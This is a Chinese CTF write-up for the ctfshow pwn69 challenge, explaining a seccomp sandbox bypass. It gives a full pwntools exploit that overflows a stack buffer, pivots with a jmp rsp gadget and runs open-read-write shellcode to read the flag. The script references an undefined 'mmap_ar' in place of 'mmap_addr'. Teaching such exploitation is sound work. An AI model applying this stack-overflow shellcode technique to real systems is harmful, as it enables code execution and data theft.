这一块的题难度上升的有点快,已经涉及到基本的汇编知识了,并且明显看出来在为接下来的ret2syscall做铺垫,exp也是不好理解,接下来进行详细的讲解

沙箱

seccomp函数,它会阻止进程的一部分系统调用,比如我们的execve,这种情况下我们无法直接拿到shell,只能去通过orw,即open-read-write去读出flag文件

seccomp-tools dump ./pwn

我们可以通过上述指令查看允许的系统调用

pwntools的前置语法基础

我们需要一些pwntools的语法,不过这并不算难

asm(code, vma=0, extract=True, arch=None, os=None)

后面三个不用管,我们重点看前两个

code是必填的,它包含汇编指令的字符串
vms是虚拟内存地址,是指定代码被编译时所处的起始地址

asm(shellcraft.你要调用的函数)

shellcraft不仅可以帮助我们生成shellcode的汇编,还可以帮我们生成某个函数的汇编代码,这样就不需要我们自己生成了

如果我们需要写连续的汇编指令,可以用分分号连接

eg:ctfshow pwn69

1
2
3
4
5
6
7
8
__int64 __fastcall main(int a1, char **a2, char **a3)
{
mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
sub_400949();
sub_400906();
sub_400A16();
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
__int64 sub_400949()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
return seccomp_load(v1);
}
1
2
3
4
5
6
void sub_400906()
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
}
1
2
3
4
5
6
7
8
int sub_400A16()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Now you can use ORW to do");
read(0, buf, 0x38uLL);
return puts("No you don't understand I say!");
}

第一个函数里存在沙箱,第三个函数里给了我们栈溢出的地方

一般来说遇到read函数我们就要注意了,因为它通常会限制我们溢出的长度,本题就是只给了我们0x38的余地,这显然是不够的,但是我们注意到main函数里存在mmap函数,可以放到0x123000处

沙箱只允许我们进行orw这三个函数的系统调用

我一开始的思路和ret2syscall一样,打算先找寄存器的gadget,但是用ROPgadget尝试找了gadget发现是找不到的,所以这个题主要利用的不全是ROP技术,我们是直接在mmap分配的内存里直接写入汇编指令的,不需要费劲一个个跳转了

我们不要用pop rsp,要用jmp rsp

0x0000000000400a01 : jmp rsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28296)
mmap_addr=0x123000
jmp_rsp=0x400a01

#recvuntil不仅仅可以用来接收数据,还可以告诉exp什么时候该发送
p.recvuntil("Now you can use ORW to do\n")

#ORW的板子
shellcode=asm(shellcraft.open("./ctfshow_flag"))
shellcode+=asm(shellcraft.read(3,mmap_ar,0x100))
shellcode+=asm(shellcraft.write(1,mmap_ar,0x100))

payload = flat([(asm(shellcraft.read(0,mmap_ar,0x100))+asm("mov rax,0x123000; jmp rax")).ljust(0x28,b'a'),jmp_rsp,asm("sub rsp,0x30; jmp rsp")])

#先发shellcode,再发paylaod
p.sendline(payload)
p.sendline(shellcode)
p.interactive()

在栈迁移里,我们学到在返回地址处,程序调用ret指令,等价于pop rip,会把返回地址弹到rip寄存器里

我们把read(0,mmap_addr,0x100),mov rax,0x123000,jmp rax写到缓冲区开始,然后把返回地址改成jmp_rsp,也就是把jmp_rsp的地址弹到rip里,然后rsp随后指向sub rsp,0x30; jmp rsp,也就是把rsp往下减0x30个字节到缓冲区开始,然后再jmp rsp跳转过去。接下来我们执行read(0,mmap_addr,0x100)这个时候程序挂起等待我们输入,并且把输入的内容存到mmap里,然后mov rax,0x123000,jmp rax,跳转到mmap处,开始执行shellcode

总结

这种ret2ORW的题目本质上还是ret2shellcode,只不过需要我们自己套模板,这里的jmp rsp是精妙之处,要重点理解